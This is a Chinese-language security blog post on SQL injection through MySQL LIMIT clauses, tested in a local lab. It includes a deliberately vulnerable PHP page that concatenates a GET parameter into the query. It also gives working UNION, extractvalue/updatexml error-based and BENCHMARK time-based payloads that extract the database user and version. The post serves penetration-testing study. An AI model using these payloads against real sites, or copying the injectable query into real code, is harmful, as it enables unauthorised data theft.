mysql注入之limit 注入
Posted 闪光的自留地
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql注入之limit 注入相关的知识,希望对你有一定的参考价值。
复现环境:
使用到的系统 | 版本 |
centos | 7.2.1511 |
宝塔面板 | 7.5.1 |
php | 5.6 |
mysql | 5.1.73 |
MYSQL | 5.7.33 |
不存在order by
环境页面构建
首先构造一个存在漏洞的php页面,源码如下:
<?php
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
if (mysqli_connect_errno())
{
echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl limit $id,1");
if (!$result) {
printf("Error: %s
", mysqli_error($con));
exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_id']." | ".$row['runoob_title']." | ".$row['runoob_author'];
echo "<br>";
?>
数据库环境如下:
常规注入
利用union联合查询即可做到:
http://127.0.0.1:8081/sql-limit.php?id=2,0 union select 1,2,user(),4%23
实战环境下,后续考虑各种waf绕过即可,进一步利用即可考虑写文件提权操作
存在order by
环境页面构建
数据库结构一致,php代码变动了一些,变化如下:
<?php
$con=mysqli_connect("127.0.0.1","root","3855218a7b4eea3c","127_0_0_1");
if (mysqli_connect_errno())
{
echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl order by runoob_id limit $id,1");
if (!$result) {
printf("Error: %s
", mysqli_error($con));
exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_id']." | ".$row['runoob_title']." | ".$row['runoob_author'];
echo "<br>";
?>
注入思路
尝试同样的payload
http://127.0.0.1:8081/sql-limit.php
?id=2,0 union select 1,2,user(),4%23
# 报错
Error: Incorrect usage of UNION and ORDER BY
实战中根据报错可以判断limit
前方存在order by
,如果是开发的时候遇到这种报错,加上括号即可解决,但是我们构造payload最多只能构造一半的payload。
前提条件:
•5.0.0< MySQL <5.6.6版本
参考文章:Mysql下Limit注入方法[1]
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
值得注意的一点是:当时提到的5.x版本通用指的是15年,在5.6.6版本之后,mysql官方对analyse语句进行了改写。
procedure后面可以支持报错注入以及时间盲注
# extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23
# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23
# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23
PS:时间盲注这里不支持sleep,可以使用BENCHMARK BENCHMARK主要用于测试多次进行某个操作所耗费的时间,这里用于做时间盲注的时间区别函数
切换成mysql 5.7.33版本之后无法执行,直接报错
References
[1]
Mysql下Limit注入方法: https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
OVER
请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!
b站号:
一只技术君 欢迎来到
闪光聊安全
长按与我交流更多
点击下方“阅读原文”立刻前往我的博客
以上是关于mysql注入之limit 注入的主要内容,如果未能解决你的问题,请参考以下文章